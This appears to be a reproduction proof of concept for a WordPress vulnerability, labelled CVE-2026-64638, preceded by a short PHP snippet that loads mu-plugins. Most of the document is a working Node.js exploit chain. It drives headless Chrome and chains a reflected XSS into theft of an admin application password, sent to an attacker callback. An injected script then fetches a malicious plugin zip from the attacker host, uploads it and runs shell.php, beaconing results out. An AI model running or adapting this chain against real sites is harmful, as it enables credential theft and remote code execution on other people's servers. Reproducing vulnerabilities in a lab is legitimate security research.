1
if ( is_dir( WP_CONTENT_DIR . '/mu-plugins' ) ) {
2
    $plugins = array();
3
    $dir = @opendir( WP_CONTENT_DIR . '/mu-plugins' );
4
    if ( $dir ) {
5
        while ( ( $file = readdir( $dir ) ) !== false ) {
6
            if ( preg_match( '/\\.php$/i', $file ) )
7
                $plugins[] = $file;
8
        }
9
        closedir( $dir );
10
        sort( $plugins );
11
        foreach ( $plugins as $plugin ) {
12
            include_once( WP_CONTENT_DIR . '/mu-plugins/' . $plugin );
13
        }
14
    }
15
}

1
#!/usr/bin/env node
2
/**
3
 * CVE-2026-64638 复现 —— 浏览器端完整利用链（XSS → 应用密码 → 插件上传 → RCE）
4
 *
5
 * 为什么需要浏览器：
6
 *   本漏洞的第一段（解析分歧导致反射型 XSS）可以只用 HTTP 请求验证；
7
 *   但后面几段全部发生在浏览器里 —— user-profile.js 的自触发点击、
8
 *   DOM clobbering 覆盖 ajaxurl、JSONP 回调被当成脚本执行、
9
 *   以及跨窗口（SOME）点击管理员授权页上的"批准"按钮。
10
 *   而且最后一步"上传插件"必须借用管理员的 Cookie 会话：
11
 *   应用密码只能认证 REST 请求，进不了 wp-admin（实测会被 auth_redirect 弹回登录页）。
12
 *   所以这一段必须真的跑一个浏览器。
13
 *
14
 * 为什么用 CDP 而不是 Playwright / Puppeteer：
15
 *   本机已经装了 Google Chrome，用 Node 22 内置的 WebSocket 直连
16
 *   Chrome DevTools Protocol 就够了，不需要 npm install 任何东西。
17
 *   这与项目里"脚本走零依赖"的习惯一致。
18
 *
19
 * 角色分工（和真实攻击一致）：
20
 *   Node 进程本身 = 攻击者的机器（只用应用密码走 REST，没有任何 Cookie）
21
 *   浏览器标签页   = 受害者的浏览器（带着管理员的登录 Cookie）
22
 *
23
 * 用法：
24
 *   node poc/browser_chain.mjs
25
 *   可用环境变量覆盖：TARGET / ATTACK / ADMIN_USER / ADMIN_PASS / DEBUG_PORT / CHROME
26
 */
27

28
import { spawn } from "node:child_process";
29
import fs from "node:fs";
30
import os from "node:os";
31
import path from "node:path";
32

33
// ── 可从环境变量覆盖的参数 ────────────────────────────────────
34
const TARGET = (process.env.TARGET || "http://127.0.0.1:8088").replace(/\/$/, "");
35
const ATTACK = (process.env.ATTACK || "http://127.0.0.1:9099").replace(/\/$/, "");
36
const ADMIN_USER = process.env.ADMIN_USER || "admin";
37
const ADMIN_PASS = process.env.ADMIN_PASS || "admin12345";
38
const DEBUG_PORT = Number(process.env.DEBUG_PORT || 9222);
39
const CHROME =
40
  process.env.CHROME || "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome";
41

42
const CAPTURE_LOG = "/tmp/cve-2026-64638-capture.log";
43
const APPPASS_FILE = "/tmp/cve-2026-64638-apppass.json";
44
const PLUGIN_SLUG = "pwn-plugin";
45

46
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
47

48
// ── 极简 CDP 客户端 ──────────────────────────────────────────
49
// Chrome DevTools Protocol 就是一条 WebSocket 上的 JSON-RPC：
50
//   发出去 {id, method, params, sessionId?}
51
//   收回来 {id, result} 或 {method, params}（事件）
52
// 只需要这么点功能，所以手写一个，不引第三方库。
53
class CDP {
54
  constructor(url, { stderrRef } = {}) {
55
    this.ws = new WebSocket(url);
56
    this.nextId = 1;
57
    this.pending = new Map();
58
    this.listeners = [];
59
    this.stderrRef = stderrRef || null;
60
    this.ready = new Promise((res, rej) => {
61
      this.ws.addEventListener("open", () => res());
62
      this.ws.addEventListener("error", () => rej(new Error("WebSocket 连接失败: " + url)));
63
    });
64
    this.ws.addEventListener("message", (ev) => {
65
      const msg = JSON.parse(ev.data);
66
      if (msg.id && this.pending.has(msg.id)) {
67
        const { resolve, reject } = this.pending.get(msg.id);
68
        this.pending.delete(msg.id);
69
        msg.error ? reject(new Error(JSON.stringify(msg.error))) : resolve(msg.result);
70
      } else if (msg.method) {
71
        for (const fn of this.listeners) fn(msg);
72
      }
73
    });
74

75
    // 连接断开时，把还没回包的请求全部拒绝掉。
76
    // 这一步不是可选的：如果不管，那些 await 会永远挂着不动，
77
    // Node 的事件循环一旦没有别的事情可做，进程会以**退出码 0** 静默结束 ——
78
    // 看起来就像"脚本什么都没干就正常退出了"，极难排查。
79
    //
80
    // 这里把 Chrome 自己的 stderr 尾巴也带出来。实测最有价值的一种断开是
81
    // "Chrome 先崩了、WebSocket 才断"（浏览器侧发 close 1006），
82
    // 光看"连接已断开"完全不知道该修哪里；把 stderr 摆出来一眼就能看到
83
    // 是沙箱起不来、还是 GPU 进程反复崩导致 Chrome 主动退出。
84
    this.ws.addEventListener("close", (ev) => {
85
      const n = this.pending.size;
86
      const tail = this.stderrRef ? this.stderrRef.tail() : "";
87
      const reason = `调试连接已断开（close code=${ev.code}，${n} 个请求没有拿到回包）。`
88
        + "常见三种原因：① 上一个 Chrome 实例没退干净、占着调试端口；"
89
        + "② Chrome 子进程沙箱起不来（受限 shell 里很常见，需要 --no-sandbox）；"
90
        + "③ GPU 进程反复崩溃，Chrome 判定不可用后主动退出。"
91
        + (tail ? "\n──── Chrome stderr 末尾 ────\n" + tail : "");
92
      for (const [, { reject }] of this.pending) reject(new Error(reason));
93
      this.pending.clear();
94
    });
95
  }
96

97
  send(method, params = {}, sessionId) {
98
    const id = this.nextId++;
99
    const payload = { id, method, params };
100
    if (sessionId) payload.sessionId = sessionId;
101
    this.ws.send(JSON.stringify(payload));
102
    return new Promise((resolve, reject) => this.pending.set(id, { resolve, reject }));
103
  }
104

105
  /** 等某个事件（可按 sessionId 过滤），超时返回 null */
106
  waitEvent(method, { sessionId, timeout = 15000 } = {}) {
107
    return new Promise((resolve) => {
108
      const fn = (msg) => {
109
        if (msg.method !== method) return;
110
        if (sessionId && msg.sessionId !== sessionId) return;
111
        clearTimeout(t);
112
        this.listeners = this.listeners.filter((f) => f !== fn);
113
        resolve(msg.params);
114
      };
115
      const t = setTimeout(() => {
116
        this.listeners = this.listeners.filter((f) => f !== fn);
117
        resolve(null);
118
      }, timeout);
119
      this.listeners.push(fn);
120
    });
121
  }
122
}
123

124
async function evaluate(cdp, sessionId, expression) {
125
  const r = await cdp.send(
126
    "Runtime.evaluate",
127
    { expression, returnByValue: true, awaitPromise: true },
128
    sessionId
129
  );
130
  if (r.exceptionDetails) throw new Error("页面内求值出错: " + JSON.stringify(r.exceptionDetails));
131
  return r.result.value;
132
}
133

134
async function navAndWait(cdp, sessionId, url, timeout = 20000) {
135
  const done = cdp.waitEvent("Page.loadEventFired", { sessionId, timeout });
136
  await cdp.send("Page.navigate", { url }, sessionId);
137
  await done;
138
  await sleep(300);
139
}
140

141
const step = (n, t) => console.log("\x1b[36m[%s]\x1b[0m %s", String(n).padStart(2, " "), t);
142
const ok = (t) => console.log("     \x1b[32m✓\x1b[0m " + t);
143
const info = (t) => console.log("     · " + t);
144

145
// ── 角色：攻击者的机器（Node 直接发 HTTP，不带任何 Cookie）────
146
// 这一段对应"攻击者在自己的电脑上，拿着刚偷到的应用密码打 REST API"
147
async function attackerREST(appPassword, pageContent) {
148
  const auth =
149
    "Basic " + Buffer.from(`${ADMIN_USER}:${appPassword}`).toString("base64");
150

151
  // 1) 先确认这个密码真的能当管理员用
152
  const meRes = await fetch(`${TARGET}/?rest_route=/wp/v2/users/me`, {
153
    headers: { Authorization: auth },
154
  });
155
  const me = await meRes.json();
156
  if (!me || !me.id) throw new Error("应用密码无效: " + JSON.stringify(me).slice(0, 200));
157
  ok(`应用密码通过 REST 认证，当前身份: ${me.slug} (id=${me.id}, roles=${(me.roles || []).join(",")})`);
158

159
  // 2) 发布一个内容里带 <script> 的页面。
160
  //    单站点管理员默认拥有 unfiltered_html，脚本原样入库。
161
  const pageRes = await fetch(`${TARGET}/?rest_route=/wp/v2/pages`, {
162
    method: "POST",
163
    headers: { Authorization: auth, "Content-Type": "application/json" },
164
    body: JSON.stringify({ title: "Screensaver Update", status: "publish", content: pageContent }),
165
  });
166
  const page = await pageRes.json();
167
  if (!page.link) throw new Error("发页失败: " + JSON.stringify(page).slice(0, 300));
168
  ok(`已发布页面 id=${page.id} → ${page.link}`);
169
  info(`入库内容（raw，未被转义，说明 unfiltered_html 生效）: ${String(page.content?.raw).slice(0, 80)}...`);
170

171
  return page;
172
}
173

174
// ── 主流程 ───────────────────────────────────────────────────
175
async function main() {
176
  const profile = fs.mkdtempSync(path.join(os.tmpdir(), "cve-2026-64638-chrome-"));
177
  fs.writeFileSync(CAPTURE_LOG, "");
178

179
  console.log("=".repeat(72));
180
  console.log("CVE-2026-64638 XSS2Shell 完整利用链（浏览器端）");
181
  console.log("  目标站点   : " + TARGET);
182
  console.log("  攻击者站点 : " + ATTACK);
183
  console.log("=".repeat(72));
184

185
  // 把 Chrome 的 stderr 收集起来（只留最后 40 行，够定位问题又不会刷屏）。
186
  // 正常跑完不打印；只有在 CDP 连接莫名断开时才会附到报错里。
187
  const stderrRing = [];
188
  const stderrRef = {
189
    push: (chunk) => {
190
      for (const line of String(chunk).split("\n")) if (line.trim()) stderrRing.push(line.trim());
191
      while (stderrRing.length > 40) stderrRing.shift();
192
    },
193
    tail: () => stderrRing.slice(-8).join("\n"),
194
  };
195

196
  // 这几个参数不是可选项，缺一个链条就会卡在第一步：
197
  //   --no-sandbox        受限 shell 里 Chrome 自己的子进程沙箱初始化会失败
198
  //                       （报 "sandbox initialization failed: Operation not permitted"），
199
  //                       进而 GPU 进程反复崩，Chrome 打出
200
  //                       "GPU process isn't usable. Goodbye." 后带着 SIGTRAP 自杀，
201
  //                       WebSocket 以 close 1006 断开，所有 CDP 请求石沉大海。
202
  //   --disable-gpu       无头环境本来也不需要真实 GPU
203
  //   --disable-dev-shm-usage   容器/受限环境里 /dev/shm 常常很小
204
  //   --disable-software-rasterizer  彻底关掉软件光栅化，避免再拉起 GPU 进程
205
  const chrome = spawn(
206
    CHROME,
207
    [
208
      "--headless=new",
209
      "--remote-debugging-port=" + DEBUG_PORT,
210
      "--user-data-dir=" + profile,
211
      "--no-first-run",
212
      "--no-default-browser-check",
213
      "--no-sandbox",
214
      "--disable-gpu",
215
      "--disable-dev-shm-usage",
216
      "--disable-software-rasterizer",
217
      "--disable-popup-blocking", // 链条第一步要 window.open，弹窗拦截必须关掉
218
      "about:blank",
219
    ],
220
    { stdio: ["ignore", "ignore", "pipe"] }
221
  );
222
  chrome.stderr.on("data", (d) => stderrRef.push(d));
223

224
  try {
225
    // 等 Chrome 把调试端口打开
226
    let version = null;
227
    for (let i = 0; i < 80 && !version; i++) {
228
      try {
229
        version = await fetch(`http://127.0.0.1:${DEBUG_PORT}/json/version`).then((r) => r.json());
230
      } catch {
231
        await sleep(250);
232
      }
233
    }
234
    if (!version) {
235
      throw new Error("Chrome 调试端口没起来（等 20 秒仍是空）。"
236
        + "如果用的是自己指定 CHROME 环境变量的浏览器，确认路径正确；"
237
        + "否则多半是 Chrome 启动即崩溃。\n──── Chrome stderr 末尾 ────\n" + stderrRef.tail());
238
    }
239
    step(0, "已连接无头 Chrome：" + version.Browser);
240

241
    const cdp = new CDP(version.webSocketDebuggerUrl, { stderrRef });
242
    await cdp.ready;
243

244
    const { targetId } = await cdp.send("Target.createTarget", { url: "about:blank" });
245
    const { sessionId } = await cdp.send("Target.attachToTarget", { targetId, flatten: true });
246
    await cdp.send("Page.enable", {}, sessionId);
247
    await cdp.send("Runtime.enable", {}, sessionId);
248

249
    // ── 第 1 步：管理员登录（模拟"受害者此刻正登录着"）
250
    step(1, "管理员登录（模拟受害者已有活跃会话）");
251
    await navAndWait(cdp, sessionId, TARGET + "/wp-login.php");
252
    await evaluate(
253
      cdp,
254
      sessionId,
255
      `(() => {
256
         document.getElementById('user_login').value = ${JSON.stringify(ADMIN_USER)};
257
         document.getElementById('user_pass').value  = ${JSON.stringify(ADMIN_PASS)};
258
         document.getElementById('loginform').submit();
259
         return true;
260
       })()`
261
    );
262
    await sleep(2500);
263
    ok("登录成功，当前地址: " + (await evaluate(cdp, sessionId, "location.href")));
264

265
    // ── 第 2 步：把管理员引到攻击者的第三方网站
266
    step(2, "把管理员引到攻击者页面（社会工程学那一步）");
267
    await navAndWait(cdp, sessionId, ATTACK + "/evil.html?t=" + encodeURIComponent(TARGET));
268
    info("攻击页会：开子窗口写载荷表单 → 把主窗口送去授权页 → 子窗口提交载荷");
269
    await sleep(1500);
270
    ok("主窗口已被送去: " + (await evaluate(cdp, sessionId, "location.href")));
271

272
    // ── 第 3 步：等链条跑完，主窗口被重定向回攻击者的回调地址
273
    step(3, "等待自动点击链：子窗口 DOM clobbering → JSONP 回调 → 跨窗口点中「批准」");
274
    let callbackUrl = null;
275
    for (let i = 0; i < 60; i++) {
276
      try {
277
        const href = await evaluate(cdp, sessionId, "location.href");
278
        if (href.includes("/cb?")) {
279
          callbackUrl = href;
280
          break;
281
        }
282
      } catch {
283
        /* 页面正在导航，忽略 */
284
      }
285
      await sleep(500);
286
    }
287
    if (!callbackUrl) throw new Error("超时：没有等到回调（链条没跑通）");
288

289
    const u = new URL(callbackUrl);
290
    const appPassword = u.searchParams.get("password");
291
    const siteUrl = u.searchParams.get("site_url");
292
    const userLogin = u.searchParams.get("user_login");
293

294
    ok("回调命中，WordPress 把新建的应用密码交给了攻击者");
295
    console.log("");
296
    console.log("  ┌───────────────── 窃取到的凭据 ─────────────────");
297
    console.log("  │ site_url   : " + siteUrl);
298
    console.log("  │ user_login : " + userLogin);
299
    console.log("  │ password   : " + appPassword);
300
    console.log("  └────────────────────────────────────────────────");
301
    console.log("");
302
    if (!appPassword) throw new Error("回调里没有 password 参数");
303

304
    fs.writeFileSync(APPPASS_FILE, JSON.stringify({ siteUrl, userLogin, password: appPassword }, null, 2));
305
    ok("凭据已落盘: " + APPPASS_FILE);
306

307
    // ── 第 4 步（攻击者本机）：用应用密码走 REST，发布带 <script> 的页面
308
    // 这段 JS 会被放进页面正文。它跑在目标站自己的源上，
309
    // 用的是管理员的 Cookie 会话 —— 因为上传插件要过 wp-admin 的 nonce 校验，
310
    // 应用密码进不去 wp-admin（实测会被弹回登录页）。
311
    const attackScript = `
312
<script>
313
(async () => {
314
  const beacon = (k) => { try { (new Image()).src = ${JSON.stringify(ATTACK + "/cb")} + '?' + k; } catch (e) {} };
315
  try {
316
    // 1) 抓上传表单里的 _wpnonce
317
    const form = await fetch('/wp-admin/plugin-install.php?tab=upload').then(r => r.text());
318
    const m = form.match(/name="_wpnonce" value="([^"]+)"/);
319
    if (!m) { beacon('step=no-nonce'); return; }
320
    beacon('step=got-nonce');
321
    // 2) 从攻击者站点把恶意插件包取回来（攻击者站点开了 CORS）
322
    const blob = await fetch(${JSON.stringify(ATTACK + "/payload.zip")}).then(r => r.blob());
323
    beacon('step=fetched-zip&bytes=' + blob.size);
324
    // 3) 走 WordPress 自己的上传流程装插件
325
    const fd = new FormData();
326
    fd.append('_wpnonce', m[1]);
327
    fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
328
    fd.append('pluginzip', blob, 'payload.zip');
329
    fd.append('install-plugin-submit', 'Install Now');
330
    const up = await fetch('/wp-admin/update.php?action=upload-plugin', { method: 'POST', body: fd }).then(r => r.text());
331
    beacon('step=uploaded&installed=' + /Plugin installed successfully/.test(up));
332
    // 4) 直接请求刚落地的 PHP —— 不需要"启用"插件
333
    const res = await fetch('/wp-content/plugins/${PLUGIN_SLUG}/shell.php');
334
    const txt = await res.text();
335
    beacon('step=rce&payload=' + encodeURIComponent(txt.trim()));
336
  } catch (e) {
337
    beacon('step=error&msg=' + encodeURIComponent(e.message));
338
  }
339
})();
340
</script>`;
341

342
    step(4, "攻击者本机：用应用密码走 REST API 发布带脚本的页面");
343
    const page = await attackerREST(appPassword, attackScript);
344

345
    // ── 第 5 步：让管理员的浏览器去访问那个页面 —— 脚本在目标源上执行
346
    step(5, "管理员浏览器打开被投毒的页面，页面脚本接管会话");
347
    await navAndWait(cdp, sessionId, page.link);
348
    info("页面里的脚本正在：抓 nonce → 取插件包 → 调 update.php 上传 → 请求 shell.php");
349

350
    // ── 第 6 步：等 RCE 信标回来
351
    step(6, "等待 RCE 信标");
352
    // 这里要同时收两种记录，不能只看 rce 那一条。
353
    // 原因：如果目标上**已经**存在上一次留下的 shell.php，
354
    // 那么"上传插件"这一步就算失败，最后请求 shell.php 也照样能拿到 rce:true ——
355
    // 链条会凭空宣布"打通"。实测踩过这个坑（第二次运行时 uploaded 的
356
    // installed 字段是 false，但脚本仍然报了成功）。
357
    // 所以成功判据必须是：**这次真的装上了** 并且 **shell 真的跑了**。
358
    let rceRecord = null;
359
    let uploadedRecord = null;
360
    for (let i = 0; i < 40 && !(rceRecord && uploadedRecord); i++) {
361
      await sleep(500);
362
      const lines = fs.readFileSync(CAPTURE_LOG, "utf-8").split("\n").filter(Boolean);
363
      for (const line of lines) {
364
        try {
365
          const rec = JSON.parse(line);
366
          if (rec.step === "rce") rceRecord = rec;
367
          if (rec.step === "uploaded") uploadedRecord = rec;
368
        } catch {}
369
      }
370
    }
371
    const installedFresh = uploadedRecord && String(uploadedRecord.installed) === "true";
372

373
    console.log("");
374
    console.log("=".repeat(72));
375
    if (rceRecord && installedFresh) {
376
      console.log("\x1b[32m完整链路打通：预认证 XSS → 管理员应用密码 → 插件上传 → PHP 执行\x1b[0m");
377
      console.log("");
378
      console.log("  shell.php 返回（在目标站自己的服务器上执行）:");
379
      console.log("    " + decodeURIComponent(rceRecord.payload || ""));
380
      console.log("");
381
      console.log("  验证地址: " + TARGET + `/wp-content/plugins/${PLUGIN_SLUG}/shell.php`);
382
    } else if (rceRecord) {
383
      // 最容易被误判成成功的一种情况：有回显，但这次没装上。
384
      console.log("\x1b[33m链条未真正打通 —— 回显是上一次留下的旧文件给的\x1b[0m");
385
      console.log("");
386
      console.log("  上传插件这一步的返回值: installed=" + (uploadedRecord ? uploadedRecord.installed : "(没有记录)"));
387
      console.log("  但 shell.php 仍然返回了内容，说明目标上**早就**有同名文件。");
388
      console.log("  这类「有回显但没装上」的结果不能算打通 —— 它只证明了旧文件还在。");
389
      console.log("");
390
      console.log("  处理办法：清掉残留再跑一次");
391
      console.log("    docker exec " + (process.env.CONTAINER || "cve-2026-64638")
392
        + " rm -rf /var/www/html/wp-content/plugins/" + PLUGIN_SLUG);
393
    } else {
394
      console.log("\x1b[31m没等到 RCE 信标，检查攻击者站点日志\x1b[0m");
395
    }
396
    console.log("=".repeat(72));
397

398
    // 把判定结果反映到退出码上。
399
    // 只打印不报错的话，Python 侧会用 `rc != 0` 来判断成败，
400
    // 于是"有回显但没装上"会被当成通过、接着去跑独立验证，
401
    // 而独立验证又会因为旧文件而返回成功 —— 一个假阳性就变成了两个。
402
    if (!(rceRecord && installedFresh)) process.exitCode = 1;
403
  } finally {
404
    try { chrome.kill("SIGKILL"); } catch {}
405
    try { fs.rmSync(profile, { recursive: true, force: true }); } catch {}
406
  }
407
}
408

409
main().catch((e) => {
410
  console.error("\x1b[31m[失败]\x1b[0m " + e.message);
411
  process.exit(1);
412
});